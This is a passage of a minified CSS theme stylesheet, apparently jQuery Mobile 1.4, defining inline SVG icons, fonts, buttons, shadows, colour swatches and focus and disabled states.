url("data:image/svg+xml;charset=US-ASCII,%3C%3Fxml%20version%3D%221.0%22%20encoding%3D%22iso-8859-1%22%3F%3E%3C!DOCTYPE%20svg%20PUBLIC%20%22-%2F%2FW3C%2F%2FDTD%20SVG%201.1%2F%2FEN%22%20%22http%3A%2F%2Fwww.w3.org%2FGraphics%2FSVG%2F1.1%2FDTD%2Fsvg11.dtd%22%3E%3Csvg%20version%3D%221.1%22%20id%3D%22Layer_1%22%20xmlns%3D%22http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg%22%20xmlns%3Axlink%3D%22http%3A%2F%2Fwww.w3.org%2F1999%2Fxlink%22%20x%3D%220px%22%20y%3D%220px%22%20%20width%3D%2214px%22%20height%3D%2214px%22%20viewBox%3D%220%200%2014%2014%22%20style%3D%22enable-background%3Anew%200%200%2014%2014%3B%22%20xml%3Aspace%3D%22preserve%22%3E%3Cpath%20d%3D%22M10.171%2C8.766c0.617-0.888%2C0.979-1.964%2C0.979-3.126c0-3.037-2.463-5.5-5.5-5.5s-5.5%2C2.463-5.5%2C5.5s2.463%2C5.5%2C5.5%2C5.5%20c1.152%2C0%2C2.223-0.355%2C3.104-0.962l3.684%2C3.683l1.414-1.414L10.171%2C8.766z%20M5.649%2C9.14c-1.933%2C0-3.5-1.567-3.5-3.5%20c0-1.933%2C1.567-3.5%2C3.5-3.5c1.933%2C0%2C3.5%2C1.567%2C3.5%2C3.5C9.149%2C7.572%2C7.582%2C9.14%2C5.649%2C9.14z%22%2F%3E%3C%2Fsvg%3E"); } .ui-alt-icon.ui-icon-shop:after, .ui-alt-icon .ui-icon-shop:after { background-image: url("data:image/svg+xml;charset=US-ASCII,%3C%3Fxml%20version%3D%221.0%22%20encoding%3D%22iso-8859-1%22%3F%3E%3C!DOCTYPE%20svg%20PUBLIC%20%22-%2F%2FW3C%2F%2FDTD%20SVG%201.1%2F%2FEN%22%20%22http%3A%2F%2Fwww.w3.org%2FGraphics%2FSVG%2F1.1%2FDTD%2Fsvg11.dtd%22%3E%3Csvg%20version%3D%221.1%22%20id%3D%22Layer_1%22%20xmlns%3D%22http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg%22%20xmlns%3Axlink%3D%22http%3A%2F%2Fwww.w3.org%2F1999%2Fxlink%22%20x%3D%220px%22%20y%3D%220px%22%20%20width%3D%2214px%22%20height%3D%2214px%22%20viewBox%3D%220%200%2014%2014%22%20style%3D%22enable-background%3Anew%200%200%2014%2014%3B%22%20xml%3Aspace%3D%22preserve%22%3E%3Cpath%20d%3D%22M10%2C4V3c0-1.657-1.343-3-3-3S4%2C1.343%2C4%2C3v1H1v10h12V4H10z%20M4.5%2C6C4.224%2C6%2C4%2C5.776%2C4%2C5.5S4.224%2C5%2C4.5%2C5S5%2C5.224%2C5%2C5.5%20S4.776%2C6%2C4.5%2C6z%20M5%2C3c0-1.104%2C0.896-2%2C2-2c1.104%2C0%2C2%2C0.896%2C2%2C2v1H5V3z%20M9.5%2C6C9.225%2C6%2C9%2C5.776%2C9%2C5.5S9.225%2C5%2C9.5%2C5S10%2C5.224%2C10%2C5.5%20S9.775%2C6%2C9.5%2C6z%22%2F%3E%3C%2Fsvg%3E"); } .ui-alt-icon.ui-icon-star:after, .ui-alt-icon .ui-icon-star:after { background-image: url("data:image/svg+xml;charset=US-ASCII,%3C%3Fxml%20version%3D%221.0%22%20encoding%3D%22iso-8859-1%22%3F%3E%3C!DOCTYPE%20svg%20PUBLIC%20%22-%2F%2FW3C%2F%2FDTD%20SVG%201.1%2F%2FEN%22%20%22http%3A%2F%2Fwww.w3.org%2FGraphics%2FSVG%2F1.1%2FDTD%2Fsvg11.dtd%22%3E%3Csvg%20version%3D%221.1%22%20id%3D%22Layer_1%22%20xmlns%3D%22http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg%22%20xmlns%3Axlink%3D%22http%3A%2F%2Fwww.w3.org%2F1999%2Fxlink%22%20x%3D%220px%22%20y%3D%220px%22%20%20width%3D%2214px%22%20height%3D%2214px%22%20viewBox%3D%220%200%2014%2014%22%20style%3D%22enable-background%3Anew%200%200%2014%2014%3B%22%20xml%3Aspace%3D%22preserve%22%3E%3Cpolygon%20points%3D%2214%2C5%209%2C5%207%2C0%205%2C5%200%2C5%204%2C8%202.625%2C13%207%2C10%2011.375%2C13%2010%2C8%20%22%2F%3E%3C%2Fsvg%3E"); } .ui-alt-icon.ui-icon-tag:after, .ui-alt-icon .ui-icon-tag:after { background-image: url("data:image/svg+xml;charset=US-ASCII,%3C%3Fxml%20version%3D%221.0%22%20encoding%3D%22iso-8859-1%22%3F%3E%3C!DOCTYPE%20svg%20PUBLIC%20%22-%2F%2FW3C%2F%2FDTD%20SVG%201.1%2F%2FEN%22%20%22http%3A%2F%2Fwww.w3.org%2FGraphics%2FSVG%2F1.1%2FDTD%2Fsvg11.dtd%22%3E%3Csvg%20version%3D%221.1%22%20id%3D%22Layer_1%22%20xmlns%3D%22http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg%22%20xmlns%3Axlink%3D%22http%3A%2F%2Fwww.w3.org%2F1999%2Fxlink%22%20x%3D%220px%22%20y%3D%220px%22%20%20width%3D%2214px%22%20height%3D%2214px%22%20viewBox%3D%220%200%2014%2014%22%20style%3D%22enable-background%3Anew%200%200%2014%2014%3B%22%20xml%3Aspace%3D%22preserve%22%3E%3Cpath%20d%3D%22M5%2C0H0v5l9%2C9l5-5L5%2C0z%20M3%2C4C2.447%2C4%2C2%2C3.553%2C2%2C3s0.447-1%2C1-1s1%2C0.447%2C1%2C1S3.553%2C4%2C3%2C4z%22%2F%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3C%2Fsvg%3E"); } .ui-alt-icon.ui-icon-user:after, .ui-alt-icon .ui-icon-user:after { background-image: url("data:image/svg+xml;charset=US-ASCII,%3C%3Fxml%20version%3D%221.0%22%20encoding%3D%22iso-8859-1%22%3F%3E%3C!DOCTYPE%20svg%20PUBLIC%20%22-%2F%2FW3C%2F%2FDTD%20SVG%201.1%2F%2FEN%22%20%22http%3A%2F%2Fwww.w3.org%2FGraphics%2FSVG%2F1.1%2FDTD%2Fsvg11.dtd%22%3E%3Csvg%20version%3D%221.1%22%20id%3D%22Layer_1%22%20xmlns%3D%22http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg%22%20xmlns%3Axlink%3D%22http%3A%2F%2Fwww.w3.org%2F1999%2Fxlink%22%20x%3D%220px%22%20y%3D%220px%22%20%20width%3D%2214px%22%20height%3D%2214px%22%20viewBox%3D%220%200%2014%2014%22%20style%3D%22enable-background%3Anew%200%200%2014%2014%3B%22%20xml%3Aspace%3D%22preserve%22%3E%3Cpath%20d%3D%22M8.851%2C10.101c-0.18-0.399-0.2-0.763-0.153-1.104C9.383%2C8.49%2C9.738%2C7.621%2C9.891%2C6.465C10.493%2C6.355%2C10.5%2C5.967%2C10.5%2C5.5%20c0-0.437-0.008-0.804-0.502-0.94C9.999%2C4.539%2C10%2C4.521%2C10%2C4.5c0-2.103-1-4-2-4C8%2C0.5%2C7.5%2C0%2C6.5%2C0C5%2C0%2C4%2C1.877%2C4%2C4.5%20c0%2C0.021%2C0.001%2C0.039%2C0.002%2C0.06C3.508%2C4.696%2C3.5%2C5.063%2C3.5%2C5.5c0%2C0.467%2C0.007%2C0.855%2C0.609%2C0.965%20C4.262%2C7.621%2C4.617%2C8.49%2C5.303%2C8.997c0.047%2C0.341%2C0.026%2C0.704-0.153%2C1.104C1.503%2C10.503%2C0%2C12%2C0%2C12v2h14v-2%20C14%2C12%2C12.497%2C10.503%2C8.851%2C10.101z%22%2F%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3C%2Fsvg%3E"); } .ui-alt-icon.ui-icon-video:after, .ui-alt-icon .ui-icon-video:after { background-image: url("data:image/svg+xml;charset=US-ASCII,%3C%3Fxml%20version%3D%221.0%22%20encoding%3D%22iso-8859-1%22%3F%3E%3C!DOCTYPE%20svg%20PUBLIC%20%22-%2F%2FW3C%2F%2FDTD%20SVG%201.1%2F%2FEN%22%20%22http%3A%2F%2Fwww.w3.org%2FGraphics%2FSVG%2F1.1%2FDTD%2Fsvg11.dtd%22%3E%3Csvg%20version%3D%221.1%22%20id%3D%22Layer_1%22%20xmlns%3D%22http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg%22%20xmlns%3Axlink%3D%22http%3A%2F%2Fwww.w3.org%2F1999%2Fxlink%22%20x%3D%220px%22%20y%3D%220px%22%20%20width%3D%2214px%22%20height%3D%2214px%22%20viewBox%3D%220%20-2%2014%2014%22%20style%3D%22enable-background%3Anew%200%20-2%2014%2014%3B%22%20xml%3Aspace%3D%22preserve%22%3E%3Cpath%20d%3D%22M8%2C0H2C0.896%2C0%2C0%2C0.896%2C0%2C2v6c0%2C1.104%2C0.896%2C2%2C2%2C2h6c1.104%2C0%2C2-0.896%2C2-2V5V2C10%2C0.896%2C9.104%2C0%2C8%2C0z%20M10%2C5l4%2C4V1L10%2C5z%22%2F%3E%3C%2Fsvg%3E"); } /* Globals */ /* Font -----------------------------------------------------------------------------------------------------------*/ html { font-size: 100%; } body, input, select, textarea, button, .ui-btn { font-size: 1em; line-height: 1.3; font-family: sans-serif /*{global-font-family}*/; } legend, .ui-input-text input, .ui-input-search input { color: inherit; text-shadow: inherit; } /* Form labels (overrides font-weight bold in bars, and mini font-size) */ .ui-mobile label, div.ui-controlgroup-label { font-weight: normal; font-size: 16px; } /* Separators -----------------------------------------------------------------------------------------------------------*/ /* Field contain separator (< 28em) */ .ui-field-contain { border-bottom-color: #828282; border-bottom-color: rgba(0,0,0,.15); border-bottom-width: 1px; border-bottom-style: solid; } /* Table opt-in classes: strokes between each row, and alternating row stripes */ /* Classes table-stroke and table-stripe are deprecated in 1.4. */ .table-stroke thead th, .table-stripe thead th, .table-stripe tbody tr:last-child { border-bottom: 1px solid #d6d6d6; /* non-RGBA fallback */ border-bottom: 1px solid rgba(0,0,0,.1); } .table-stroke tbody th, .table-stroke tbody td { border-bottom: 1px solid #e6e6e6; /* non-RGBA fallback */ border-bottom: 1px solid rgba(0,0,0,.05); } .table-stripe.table-stroke tbody tr:last-child th, .table-stripe.table-stroke tbody tr:last-child td { border-bottom: 0; } .table-stripe tbody tr:nth-child(odd) td, .table-stripe tbody tr:nth-child(odd) th { background-color: #eeeeee; /* non-RGBA fallback */ background-color: rgba(0,0,0,.04); } /* Buttons -----------------------------------------------------------------------------------------------------------*/ .ui-btn, label.ui-btn { font-weight: bold; border-width: 1px; border-style: solid; } .ui-btn { text-decoration: none !important; } .ui-btn-active { cursor: pointer; } /* Corner rounding -----------------------------------------------------------------------------------------------------------*/ /* Class ui-btn-corner-all deprecated in 1.4 */ .ui-corner-all { -webkit-border-radius: .3125em /*{global-radii-blocks}*/; border-radius: .3125em /*{global-radii-blocks}*/; } /* Buttons */ .ui-btn-corner-all, .ui-btn.ui-corner-all, /* Slider track */ .ui-slider-track.ui-corner-all, /* Flipswitch */ .ui-flipswitch.ui-corner-all, /* Count bubble */ .ui-li-count { -webkit-border-radius: .3125em /*{global-radii-buttons}*/; border-radius: .3125em /*{global-radii-buttons}*/; } /* Icon-only buttons */ .ui-btn-icon-notext.ui-btn-corner-all, .ui-btn-icon-notext.ui-corner-all { -webkit-border-radius: 1em; border-radius: 1em; } /* Radius clip workaround for cleaning up corner trapping */ .ui-btn-corner-all, .ui-corner-all { -webkit-background-clip: padding; background-clip: padding-box; } /* Popup arrow */ .ui-popup.ui-corner-all > .ui-popup-arrow-guide { left: .6em /*{global-radii-blocks}*/; right: .6em /*{global-radii-blocks}*/; top: .6em /*{global-radii-blocks}*/; bottom: .6em /*{global-radii-blocks}*/; } /* Shadow -----------------------------------------------------------------------------------------------------------*/ .ui-shadow { -webkit-box-shadow: 0 1px 3px /*{global-box-shadow-size}*/ rgba(0,0,0,.15) /*{global-box-shadow-color}*/; -moz-box-shadow: 0 1px 3px /*{global-box-shadow-size}*/ rgba(0,0,0,.15) /*{global-box-shadow-color}*/; box-shadow: 0 1px 3px /*{global-box-shadow-size}*/ rgba(0,0,0,.15) /*{global-box-shadow-color}*/; } .ui-shadow-inset { -webkit-box-shadow: inset 0 1px 3px /*{global-box-shadow-size}*/ rgba(0,0,0,.2) /*{global-box-shadow-color}*/; -moz-box-shadow: inset 0 1px 3px /*{global-box-shadow-size}*/ rgba(0,0,0,.2) /*{global-box-shadow-color}*/; box-shadow: inset 0 1px 3px /*{global-box-shadow-size}*/ rgba(0,0,0,.2) /*{global-box-shadow-color}*/; } .ui-overlay-shadow { -webkit-box-shadow: 0 0 12px rgba(0,0,0,.6); -moz-box-shadow: 0 0 12px rgba(0,0,0,.6); box-shadow: 0 0 12px rgba(0,0,0,.6); } /* Icons -----------------------------------------------------------------------------------------------------------*/ .ui-btn-icon-left:after, .ui-btn-icon-right:after, .ui-btn-icon-top:after, .ui-btn-icon-bottom:after, .ui-btn-icon-notext:after { background-color: #666 /*{global-icon-color}*/; background-color: rgba(0,0,0,.3) /*{global-icon-disc}*/; background-position: center center; background-repeat: no-repeat; -webkit-border-radius: 1em; border-radius: 1em; } /* Alt icons */ .ui-alt-icon.ui-btn:after, .ui-alt-icon .ui-btn:after, html .ui-alt-icon.ui-checkbox-off:after, html .ui-alt-icon.ui-radio-off:after, html .ui-alt-icon .ui-checkbox-off:after, html .ui-alt-icon .ui-radio-off:after { background-color: #666 /*{global-icon-color}*/; background-color: rgba(0,0,0,.15) /*{global-icon-disc}*/; } /* No disc */ .ui-nodisc-icon.ui-btn:after, .ui-nodisc-icon .ui-btn:after { background-color: transparent; } /* Icon shadow */ .ui-shadow-icon.ui-btn:after, .ui-shadow-icon .ui-btn:after { -webkit-box-shadow: 0 1px 0 rgba(255,255,255,.3) /*{global-icon-shadow}*/; -moz-box-shadow: 0 1px 0 rgba(255,255,255,.3) /*{global-icon-shadow}*/; box-shadow: 0 1px 0 rgba(255,255,255,.3) /*{global-icon-shadow}*/; } /* Checkbox and radio */ .ui-btn.ui-checkbox-off:after, .ui-btn.ui-checkbox-on:after, .ui-btn.ui-radio-off:after, .ui-btn.ui-radio-on:after { display: block; width: 18px; height: 18px; margin: -9px 2px 0 2px; } .ui-checkbox-off:after, .ui-btn.ui-radio-off:after { filter: Alpha(Opacity=30); opacity: .3; } .ui-btn.ui-checkbox-off:after, .ui-btn.ui-checkbox-on:after { -webkit-border-radius: .1875em; border-radius: .1875em; } .ui-btn.ui-checkbox-off:after { background-color: #666; background-color: rgba(0,0,0,.3); } .ui-radio .ui-btn.ui-radio-on:after { background-image: none; background-color: #fff; width: 8px; height: 8px; border-width: 5px; border-style: solid; } .ui-alt-icon.ui-btn.ui-radio-on:after, .ui-alt-icon .ui-btn.ui-radio-on:after { background-color: #000; } /* Loader */ .ui-icon-loading { background: url(images/ajax-loader.gif); background-size: 2.875em 2.875em; } /* Swatches */ /* A -----------------------------------------------------------------------------------------------------------*/ /* Bar: Toolbars, dividers, slider track */ .ui-bar-a, .ui-page-theme-a .ui-bar-inherit, html .ui-bar-a .ui-bar-inherit, html .ui-body-a .ui-bar-inherit, html body .ui-group-theme-a .ui-bar-inherit { background-color: #e9e9e9 /*{a-bar-background-color}*/; border-color: #ddd /*{a-bar-border}*/; color: #333 /*{a-bar-color}*/; text-shadow: 0 /*{a-bar-shadow-x}*/ 1px /*{a-bar-shadow-y}*/ 0 /*{a-bar-shadow-radius}*/ #eee /*{a-bar-shadow-color}*/; font-weight: bold; } .ui-bar-a { border-width: 1px; border-style: solid; } /* Page and overlay */ .ui-overlay-a, .ui-page-theme-a, .ui-page-theme-a .ui-panel-wrapper { background-color: #f9f9f9 /*{a-page-background-color}*/; border-color: #bbb /*{a-page-border}*/; color: #333 /*{a-page-color}*/; text-shadow: 0 /*{a-page-shadow-x}*/ 1px /*{a-page-shadow-y}*/ 0 /*{a-page-shadow-radius}*/ #f3f3f3 /*{a-page-shadow-color}*/; } /* Body: Read-only lists, text inputs, collapsible content */ .ui-body-a, .ui-page-theme-a .ui-body-inherit, html .ui-bar-a .ui-body-inherit, html .ui-body-a .ui-body-inherit, html body .ui-group-theme-a .ui-body-inherit, html .ui-panel-page-container-a { background-color: #fff /*{a-body-background-color}*/; border-color: #ddd /*{a-body-border}*/; color: #333 /*{a-body-color}*/; text-shadow: 0 /*{a-body-shadow-x}*/ 1px /*{a-body-shadow-y}*/ 0 /*{a-body-shadow-radius}*/ #f3f3f3 /*{a-body-shadow-color}*/; } .ui-body-a { border-width: 1px; border-style: solid; } /* Links */ .ui-page-theme-a a, html .ui-bar-a a, html .ui-body-a a, html body .ui-group-theme-a a { color: #3388cc /*{a-link-color}*/; font-weight: bold; } .ui-page-theme-a a:visited, html .ui-bar-a a:visited, html .ui-body-a a:visited, html body .ui-group-theme-a a:visited { color: #3388cc /*{a-link-visited}*/; } .ui-page-theme-a a:hover, html .ui-bar-a a:hover, html .ui-body-a a:hover, html body .ui-group-theme-a a:hover { color: #005599 /*{a-link-hover}*/; } .ui-page-theme-a a:active, html .ui-bar-a a:active, html .ui-body-a a:active, html body .ui-group-theme-a a:active { color: #005599 /*{a-link-active}*/; } /* Button up */ .ui-page-theme-a .ui-btn, html .ui-bar-a .ui-btn, html .ui-body-a .ui-btn, html body .ui-group-theme-a .ui-btn, html head + body .ui-btn.ui-btn-a, /* Button visited */ .ui-page-theme-a .ui-btn:visited, html .ui-bar-a .ui-btn:visited, html .ui-body-a .ui-btn:visited, html body .ui-group-theme-a .ui-btn:visited, html head + body .ui-btn.ui-btn-a:visited { background-color: #f6f6f6 /*{a-bup-background-color}*/; border-color: #ddd /*{a-bup-border}*/; color: #333 /*{a-bup-color}*/; text-shadow: 0 /*{a-bup-shadow-x}*/ 1px /*{a-bup-shadow-y}*/ 0 /*{a-bup-shadow-radius}*/ #f3f3f3 /*{a-bup-shadow-color}*/; } /* Button hover */ .ui-page-theme-a .ui-btn:hover, html .ui-bar-a .ui-btn:hover, html .ui-body-a .ui-btn:hover, html body .ui-group-theme-a .ui-btn:hover, html head + body .ui-btn.ui-btn-a:hover { background-color: #ededed /*{a-bhover-background-color}*/; border-color: #ddd /*{a-bhover-border}*/; color: #333 /*{a-bhover-color}*/; text-shadow: 0 /*{a-bhover-shadow-x}*/ 1px /*{a-bhover-shadow-y}*/ 0 /*{a-bhover-shadow-radius}*/ #f3f3f3 /*{a-bhover-shadow-color}*/; } /* Button down */ .ui-page-theme-a .ui-btn:active, html .ui-bar-a .ui-btn:active, html .ui-body-a .ui-btn:active, html body .ui-group-theme-a .ui-btn:active, html head + body .ui-btn.ui-btn-a:active { background-color: #e8e8e8 /*{a-bdown-background-color}*/; border-color: #ddd /*{a-bdown-border}*/; color: #333 /*{a-bdown-color}*/; text-shadow: 0 /*{a-bdown-shadow-x}*/ 1px /*{a-bdown-shadow-y}*/ 0 /*{a-bdown-shadow-radius}*/ #f3f3f3 /*{a-bdown-shadow-color}*/; } /* Active button */ .ui-page-theme-a .ui-btn.ui-btn-active, html .ui-bar-a .ui-btn.ui-btn-active, html .ui-body-a .ui-btn.ui-btn-active, html body .ui-group-theme-a .ui-btn.ui-btn-active, html head + body .ui-btn.ui-btn-a.ui-btn-active, /* Active checkbox icon */ .ui-page-theme-a .ui-checkbox-on:after, html .ui-bar-a .ui-checkbox-on:after, html .ui-body-a .ui-checkbox-on:after, html body .ui-group-theme-a .ui-checkbox-on:after, .ui-btn.ui-checkbox-on.ui-btn-a:after, /* Active flipswitch background */ .ui-page-theme-a .ui-flipswitch-active, html .ui-bar-a .ui-flipswitch-active, html .ui-body-a .ui-flipswitch-active, html body .ui-group-theme-a .ui-flipswitch-active, html body .ui-flipswitch.ui-bar-a.ui-flipswitch-active, /* Active slider track */ .ui-page-theme-a .ui-slider-track .ui-btn-active, html .ui-bar-a .ui-slider-track .ui-btn-active, html .ui-body-a .ui-slider-track .ui-btn-active, html body .ui-group-theme-a .ui-slider-track .ui-btn-active, html body div.ui-slider-track.ui-body-a .ui-btn-active { background-color: #3388cc /*{a-active-background-color}*/; border-color: #3388cc /*{a-active-border}*/; color: #fff /*{a-active-color}*/; text-shadow: 0 /*{a-active-shadow-x}*/ 1px /*{a-active-shadow-y}*/ 0 /*{a-active-shadow-radius}*/ #005599 /*{a-active-shadow-color}*/; } /* Active radio button icon */ .ui-page-theme-a .ui-radio-on:after, html .ui-bar-a .ui-radio-on:after, html .ui-body-a .ui-radio-on:after, html body .ui-group-theme-a .ui-radio-on:after, .ui-btn.ui-radio-on.ui-btn-a:after { border-color: #3388cc /*{a-active-background-color}*/; } /* Focus */ .ui-page-theme-a .ui-btn:focus, html .ui-bar-a .ui-btn:focus, html .ui-body-a .ui-btn:focus, html body .ui-group-theme-a .ui-btn:focus, html head + body .ui-btn.ui-btn-a:focus, /* Focus buttons and text inputs with div wrap */ .ui-page-theme-a .ui-focus, html .ui-bar-a .ui-focus, html .ui-body-a .ui-focus, html body .ui-group-theme-a .ui-focus, html head + body .ui-btn-a.ui-focus, html head + body .ui-body-a.ui-focus { -webkit-box-shadow: 0 0 12px #3388cc /*{a-active-background-color}*/; -moz-box-shadow: 0 0 12px #3388cc /*{a-active-background-color}*/; box-shadow: 0 0 12px #3388cc /*{a-active-background-color}*/; } /* B -----------------------------------------------------------------------------------------------------------*/ /* Bar: Toolbars, dividers, slider track */ .ui-bar-b, .ui-page-theme-b .ui-bar-inherit, html .ui-bar-b .ui-bar-inherit, html .ui-body-b .ui-bar-inherit, html body .ui-group-theme-b .ui-bar-inherit { background-color: #1d1d1d /*{b-bar-background-color}*/; border-color: #1b1b1b /*{b-bar-border}*/; color: #fff /*{b-bar-color}*/; text-shadow: 0 /*{b-bar-shadow-x}*/ 1px /*{b-bar-shadow-y}*/ 0 /*{b-bar-shadow-radius}*/ #111 /*{b-bar-shadow-color}*/; font-weight: bold; } .ui-bar-b { border-width: 1px; border-style: solid; } /* Page and overlay */ .ui-overlay-b, .ui-page-theme-b, .ui-page-theme-b .ui-panel-wrapper { background-color: #252525 /*{b-page-background-color}*/; border-color: #454545 /*{b-page-border}*/; color: #fff /*{b-page-color}*/; text-shadow: 0 /*{b-page-shadow-x}*/ 1px /*{b-page-shadow-y}*/ 0 /*{b-page-shadow-radius}*/ #111 /*{b-page-shadow-color}*/; } /* Body: Read-only lists, text inputs, collapsible content */ .ui-body-b, .ui-page-theme-b .ui-body-inherit, html .ui-bar-b .ui-body-inherit, html .ui-body-b .ui-body-inherit, html body .ui-group-theme-b .ui-body-inherit, html .ui-panel-page-container-b { background-color: #2a2a2a /*{b-body-background-color}*/; border-color: #1d1d1d /*{b-body-border}*/; color: #fff /*{b-body-color}*/; text-shadow: 0 /*{b-body-shadow-x}*/ 1px /*{b-body-shadow-y}*/ 0 /*{b-body-shadow-radius}*/ #111 /*{b-body-shadow-color}*/; } .ui-body-b { border-width: 1px; border-style: solid; } /* Links */ .ui-page-theme-b a, html .ui-bar-b a, html .ui-body-b a, html body .ui-group-theme-b a { color: #22aadd /*{b-link-color}*/; font-weight: bold; } .ui-page-theme-b a:visited, html .ui-bar-b a:visited, html .ui-body-b a:visited, html body .ui-group-theme-b a:visited { color: #22aadd /*{b-link-visited}*/; } .ui-page-theme-b a:hover, html .ui-bar-b a:hover, html .ui-body-b a:hover, html body .ui-group-theme-b a:hover { color: #0088bb /*{b-link-hover}*/; } .ui-page-theme-b a:active, html .ui-bar-b a:active, html .ui-body-b a:active, html body .ui-group-theme-b a:active { color: #0088bb /*{b-link-active}*/; } /* Button up */ .ui-page-theme-b .ui-btn, html .ui-bar-b .ui-btn, html .ui-body-b .ui-btn, html body .ui-group-theme-b .ui-btn, html head + body .ui-btn.ui-btn-b, /* Button visited */ .ui-page-theme-b .ui-btn:visited, html .ui-bar-b .ui-btn:visited, html .ui-body-b .ui-btn:visited, html body .ui-group-theme-b .ui-btn:visited, html head + body .ui-btn.ui-btn-b:visited { background-color: #333 /*{b-bup-background-color}*/; border-color: #1f1f1f /*{b-bup-border}*/; color: #fff /*{b-bup-color}*/; text-shadow: 0 /*{b-bup-shadow-x}*/ 1px /*{b-bup-shadow-y}*/ 0 /*{b-bup-shadow-radius}*/ #111 /*{b-bup-shadow-color}*/; } /* Button hover */ .ui-page-theme-b .ui-btn:hover, html .ui-bar-b .ui-btn:hover, html .ui-body-b .ui-btn:hover, html body .ui-group-theme-b .ui-btn:hover, html head + body .ui-btn.ui-btn-b:hover { background-color: #373737 /*{b-bhover-background-color}*/; border-color: #1f1f1f /*{b-bhover-border}*/; color: #fff /*{b-bhover-color}*/; text-shadow: 0 /*{b-bhover-shadow-x}*/ 1px /*{b-bhover-shadow-y}*/ 0 /*{b-bhover-shadow-radius}*/ #111 /*{b-bhover-shadow-color}*/; } /* Button down */ .ui-page-theme-b .ui-btn:active, html .ui-bar-b .ui-btn:active, html .ui-body-b .ui-btn:active, html body .ui-group-theme-b .ui-btn:active, html head + body .ui-btn.ui-btn-b:active { background-color: #404040 /*{b-bdown-background-color}*/; border-color: #1f1f1f /*{b-bdown-border}*/; color: #fff /*{b-bdown-color}*/; text-shadow: 0 /*{b-bdown-shadow-x}*/ 1px /*{b-bdown-shadow-y}*/ 0 /*{b-bdown-shadow-radius}*/ #111 /*{b-bdown-shadow-color}*/; } /* Active button */ .ui-page-theme-b .ui-btn.ui-btn-active, html .ui-bar-b .ui-btn.ui-btn-active, html .ui-body-b .ui-btn.ui-btn-active, html body .ui-group-theme-b .ui-btn.ui-btn-active, html head + body .ui-btn.ui-btn-b.ui-btn-active, /* Active checkbox icon */ .ui-page-theme-b .ui-checkbox-on:after, html .ui-bar-b .ui-checkbox-on:after, html .ui-body-b .ui-checkbox-on:after, html body .ui-group-theme-b .ui-checkbox-on:after, .ui-btn.ui-checkbox-on.ui-btn-b:after, /* Active flipswitch background */ .ui-page-theme-b .ui-flipswitch-active, html .ui-bar-b .ui-flipswitch-active, html .ui-body-b .ui-flipswitch-active, html body .ui-group-theme-b .ui-flipswitch-active, html body .ui-flipswitch.ui-bar-b.ui-flipswitch-active, /* Active slider track */ .ui-page-theme-b .ui-slider-track .ui-btn-active, html .ui-bar-b .ui-slider-track .ui-btn-active, html .ui-body-b .ui-slider-track .ui-btn-active, html body .ui-group-theme-b .ui-slider-track .ui-btn-active, html body div.ui-slider-track.ui-body-b .ui-btn-active { background-color: #22aadd /*{b-active-background-color}*/; border-color: #22aadd /*{b-active-border}*/; color: #fff /*{b-active-color}*/; text-shadow: 0 /*{b-active-shadow-x}*/ 1px /*{b-active-shadow-y}*/ 0 /*{b-active-shadow-radius}*/ #0088bb /*{b-active-shadow-color}*/; } /* Active radio button icon */ .ui-page-theme-b .ui-radio-on:after, html .ui-bar-b .ui-radio-on:after, html .ui-body-b .ui-radio-on:after, html body .ui-group-theme-b .ui-radio-on:after, .ui-btn.ui-radio-on.ui-btn-b:after { border-color: #22aadd /*{b-active-background-color}*/; } /* Focus */ .ui-page-theme-b .ui-btn:focus, html .ui-bar-b .ui-btn:focus, html .ui-body-b .ui-btn:focus, html body .ui-group-theme-b .ui-btn:focus, html head + body .ui-btn.ui-btn-b:focus, /* Focus buttons and text inputs with div wrap */ .ui-page-theme-b .ui-focus, html .ui-bar-b .ui-focus, html .ui-body-b .ui-focus, html body .ui-group-theme-b .ui-focus, html head + body .ui-btn-b.ui-focus, html head + body .ui-body-b.ui-focus { -webkit-box-shadow: 0 0 12px #22aadd /*{b-active-background-color}*/; -moz-box-shadow: 0 0 12px #22aadd /*{b-active-background-color}*/; box-shadow: 0 0 12px #22aadd /*{b-active-background-color}*/; } /* Structure */ /* Disabled -----------------------------------------------------------------------------------------------------------*/ /* Class ui-disabled deprecated in 1.4. :disabled not supported by IE8 so we use [disabled] */ .ui-disabled, .ui-state-disabled, button[disabled], .ui-select .ui-btn.ui-state-disabled { filter: Alpha(Opacity=30); opacity: .3; cursor: default !important; pointer-events: none; } /* Focus state outline -----------------------------------------------------------------------------------------------------------*/ .ui-btn:focus, .ui-btn.ui-focus { outline: 0; } /* Unset box-shadow in browsers that don't do it right */ .ui-noboxshadow .ui-shadow, .ui-noboxshadow .ui-shadow-inset, .ui-noboxshadow .ui-overlay-shadow, .ui-noboxshadow .ui-shadow-icon.ui-btn:after, .ui-noboxshadow .ui-shadow-icon .ui-btn:after, .ui-noboxshadow .ui-focus, .ui-noboxshadow .ui-btn:focus, .ui-noboxshadow input:focus, .ui-noboxshadow .ui-panel { -webkit-box-shadow: none !important; -moz-box-shadow: none !important; box-shadow: none !important; } .ui-noboxshadow .ui-btn:focus, .ui-noboxshadow .ui-focus { outline-width: 1px; outline-style: auto; } /* Some unsets */ .ui-mobile, .ui-mobile body { height: 99.9%; } .ui-mobile fieldset, .ui-page { padding: 0; margin: 